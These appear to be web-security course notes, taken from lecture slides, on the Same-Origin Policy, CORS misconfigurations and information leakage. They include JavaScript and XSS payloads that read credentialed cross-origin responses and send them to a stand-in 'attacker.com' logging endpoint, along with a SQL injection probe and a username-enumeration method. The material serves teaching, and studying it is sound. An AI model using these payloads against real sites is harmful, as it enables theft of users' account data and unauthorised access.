

CORS, SOP & Information Disclosure

Misconfigured cross-origin policies and data leakage

Same-Origin Policy (SOP)

Origin = protocol + hostname + port. SOP prevents JS from one origin reading responses from another origin. Introduced by Netscape 1995, implemented by all browsers today.

Blocked by SOP	JS reading cross-origin response body, accessing cross-origin cookies or DOM
NOT blocked	Sending cross-origin requests (this is why CSRF works!), loading img/script/css
Key implication	SOP blocks reading but NOT sending — attacker can still trigger state changes

CORS — How It Relaxes SOP (from Slides)

CORS (proposed 2006) lets servers whitelist origins that may read their responses, via HTTP headers. Misconfiguration = attacker can read cross-origin responses including sensitive data.

KEY CORS HEADERS

SLIDES

```
Access-Control-Allow-Origin: https://trusted.com # which origin can read
Access-Control-Allow-Credentials: true # include cookies in XHR

# Vulnerable config – server reflects whatever Origin header it receives:
Request: Origin: https://attacker.com
Response: Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
# Attacker can now read victim responses including account data + cookies
```

CORS Misconfiguration Attack (from Slides)

SLIDES

```
# Attacker hosts this on attacker.com:
var req = new XMLHttpRequest();
req.onload = function() {
  // Send the response body to attacker – contains sensitive data
  location = "https://attacker.com/log?data=" + this.responseText;
};
req.open("GET", "https://victim.com/accountDetails", true);
req.withCredentials = true; // sends victim session cookie!
req.send();
```

```
# Because ACA0 reflects attacker.com + ACAC: true,  
# browser allows attacker.com to read victim.com response
```

XSS + Subdomain CORS Combo (from Slides)

Setup: victim.com trusts all subdomains. vulnerable.subdomain.victim.com has an XSS vulnerability.

Attack: Exploit XSS on subdomain -> JS runs in subdomain context (trusted by CORS) -> make credentialed XHR to main API -> exfil data to attacker.

SLIDES

```
# Step 1: Inject XSS payload into vulnerable.subdomain.victim.com  
# Step 2: Payload (from slides):  
document.location="http://subdomain.vulnerable.com/?productId=  
<script>  
var req = new XMLHttpRequest();  
req.onload = reqListener;  
req.open("get","https://cross-origin-server.com/accountDetails",true);  
req.withCredentials = true;  
req.send();  
function reqListener() {  
location="https://attacker.com/log?key=" + this.responseText;  
}  
</script>"  
# URL encoding needed in practice
```

Information Disclosure (from Slides)

Sites leak info that helps attackers plan and execute attacks: tech versions, usernames, source code, API keys, internal paths, session tokens.

COMMON LEAK SOURCES — FROM SLIDES

Error messages	Stack traces reveal framework, DB type, file paths, exact line numbers
Verbose errors	productId=abc -> "expected integer" -> confirms injection point type + helps craft payload
Username enum	Different error for wrong user vs wrong password -> confirm valid usernames -> targeted brute force
Source code / git	Comments in HTML, .git/ folder exposed, metadata in uploaded files
Logs in webroot	/logs/*.log exposed -> session tokens, credentials, internal hostnames
Debug mode on	Dev diagnostic features left on in prod -> full stack traces, DB dumps

ATTACKER USE CASES — FROM SLIDES

SLIDES

```
# Error reveals data type -> pivot to SQLi:  
GET /product?productId=abc => "expected integer, got string"
```

```
# Now confidently try: ?productId=1 UNION SELECT NULL--

# Username enumeration:
POST /login user=admin => "Wrong password" <- user EXISTS
POST /login user=xyz => "User not found" <- user DOES NOT EXIST
# Build valid user list -> run targeted brute force
```